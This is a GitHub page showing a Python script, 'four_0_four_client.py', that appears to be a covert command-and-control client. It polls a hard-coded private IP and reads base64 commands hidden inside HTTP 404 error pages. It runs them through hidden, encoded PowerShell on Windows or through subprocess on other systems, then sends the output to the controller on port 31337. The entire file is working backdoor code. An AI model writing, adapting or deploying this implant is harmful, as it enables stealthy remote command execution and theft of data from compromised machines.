-
Notifications
You must be signed in to change notification settings - Fork 10
/
four_0_four_client.py
75 lines (69 loc) · 1.58 KB
/
four_0_four_client.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
import urllib.request as foOfo
import urllib.error as oohhh
import base64, time, socket, os
import subprocess
from subprocess import (PIPE, Popen)
check = ''
ip = '172.16.176.156'
class four0four:
def __init__(self):
self.url = 'http://172.16.176.156/pop.html'
self.opsys = os.name
def nt(self,y):
cmd_result=''
z=str(base64.b64decode(y))[2:-1]
attack = "powershell -nop -win hidden -noni -enc " + base64.b64encode(z.encode('utf_16_le')).decode('utf-8')
print(attack)
result = (Popen(attack, stdout=PIPE, shell=True).stdout.read())
try:
sock = socket.socket( socket.AF_INET, socket.SOCK_STREAM )
sock.connect((ip, 31337))
print('Sending request')
sock.send(result)
except:
pass
result = str(result)[2:-1]
cln = result.split('\\r\\n')
for i in cln:
cmd_result+=i+'\n'
return cmd_result
def posix(self,y):
cmd_result=''
z=str(base64.b64decode(y))[2:-1]
print(z)
x=z.split(' ')
output = subprocess.check_output(x)
try:
sock = socket.socket( socket.AF_INET, socket.SOCK_STREAM )
sock.connect((ip, 31337))
print('Sending request')
sock.send(output)
except:
pass
result = str(output)[2:-1]
cln = result.split('\\n')
for i in cln:
cmd_result+=i+'\n'
return cmd_result
f0f = four0four()
while True:
x=''
try:
foOfo.urlopen(f0f.url)
except oohhh.HTTPError as e:
x=str(e.read())
if len(x)==0:
exit()
try:
y=((x.split('HTMLDOC'))[1].split('HTMLDOC')[0])
if check == y:
pass
else:
check = y
if f0f.opsys == 'nt':
f0f_result=f0f.nt(y)
else:
f0f_result=f0f.posix(y)
except:
pass
time.sleep(5)